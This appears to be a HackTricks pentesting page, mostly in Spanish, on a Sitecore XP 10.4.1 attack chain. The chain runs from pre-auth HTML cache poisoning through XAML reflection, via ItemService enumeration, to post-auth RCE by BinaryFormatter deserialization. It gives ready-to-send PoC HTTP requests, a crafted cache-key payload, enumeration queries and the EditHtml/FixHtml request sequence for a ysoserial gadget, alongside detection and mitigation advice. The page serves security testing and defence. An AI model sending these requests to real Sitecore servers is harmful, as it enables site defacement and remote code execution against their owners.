9.7 KiB
Raw Blame History

Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE

{{#include ../../../banners/hacktricks-training.md}}

Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un preauth XAML handler a HTML cache poisoning y, mediante un flujo de UI autenticado, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.

  • Producto afectado probado: Sitecore XP 10.4.1 rev. 011628
  • Corregido en: KB1003667, KB1003734 (junio/julio de 2025)

Ver también:

{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}

{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}

Primitiva preauth: XAML Ajax reflection → HtmlCache write

Entrypoint is the preauth XAML handler registered in web.config:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accesible a través de:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attackercontrolled fields e invoca de forma reflectiva métodos en los controles objetivo:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Observación clave: la página XAML incluye una instancia de XmlControl (xmlcontrol:GlobalHeader).

Sitecore.XmlControls.XmlControl hereda de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allowlist ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.

Método mágico para poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Al poder apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos una primitiva pre-auth para escritura arbitraria en HtmlCache.

Solicitud PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notas:

  • __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
  • __PARAMETERS tiene el formato Method("arg1","arg2").

Qué envenenar: Construcción de la clave de caché

Construcción típica de la clave de HtmlCache usada por los controles de Sitecore:

public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Ejemplo de envenenamiento dirigido para un sublayout conocido:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerar elementos cacheables y dimensiones “vary by”

Si el ItemService está (mal)expuesto de forma anónima, puedes enumerar componentes cacheables para derivar claves exactas.

Sondeo rápido:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Listar elementos cacheables y flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Los nombres de dispositivo pueden enumerarse mediante:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Sidechannel enumeration under restricted identities (CVE-2025-53694)

Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve una Results array vacía, TotalCount aún puede reflejar hits de Solr previos a la ACL. Puedes bruteforce item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Accesible a través del paso ConvertWebControls del pipeline convertToRuntimeHtml, que busca un elemento con id {iframeId}_inner y decodifica base64 y deserializa su contenido, luego inyecta la cadena resultante en el HTML:

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Disparador (autenticado, Content Editor rights). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin clics en la UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Generación de gadgets: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. El contenido de la cadena se inserta en el HTML por ConvertWebControls tras ejecutarse los sideeffects de deserialization.

{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}

Cadena completa

  1. Un atacante preauth envenena HtmlCache con HTML arbitrario invocando reflectivamente WebControl.AddToCache vía XAML AjaxScriptManager.
  2. El HTML envenenado sirve JavaScript que empuja a un usuario autenticado Content Editor a través del flujo FixHtml.
  3. La página FixHtml dispara convertToRuntimeHtml → ConvertWebControls, que deserializa base64 controlado por el atacante vía BinaryFormatter → RCE bajo la identidad del app pool de Sitecore.

Detección

  • Preauth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Mitigación

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit /-/xaml/.
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCountbased side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References

{{#include ../../../banners/hacktricks-training.md}}